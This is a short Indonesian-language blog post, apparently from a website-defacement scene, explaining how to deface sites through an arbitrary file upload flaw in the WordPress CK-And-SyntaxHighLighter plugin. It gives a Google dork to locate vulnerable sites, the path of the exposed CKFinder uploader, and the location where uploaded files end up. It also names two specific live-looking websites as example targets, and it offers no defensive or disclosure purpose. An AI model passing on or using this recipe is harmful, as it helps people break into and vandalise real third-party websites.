Deface Menggunakan WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

kali ini ane mau share :

WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

Google Dork : 
inurl:/wp-content/plugins/ck-and-syntaxhighlighter/


Exploit Path : 

/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html


Example Exploit Path :
http:///www.[target].com/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html


File Upload Path :
http://www.[target].com/wp-content/uploads/ckfinder/files/x.txt


Example Targets :
http://www.tourgueniev.fr/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html
http://www.neihuecc.org/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html

Gak susah kan bro ..
Sekian :P

Tweet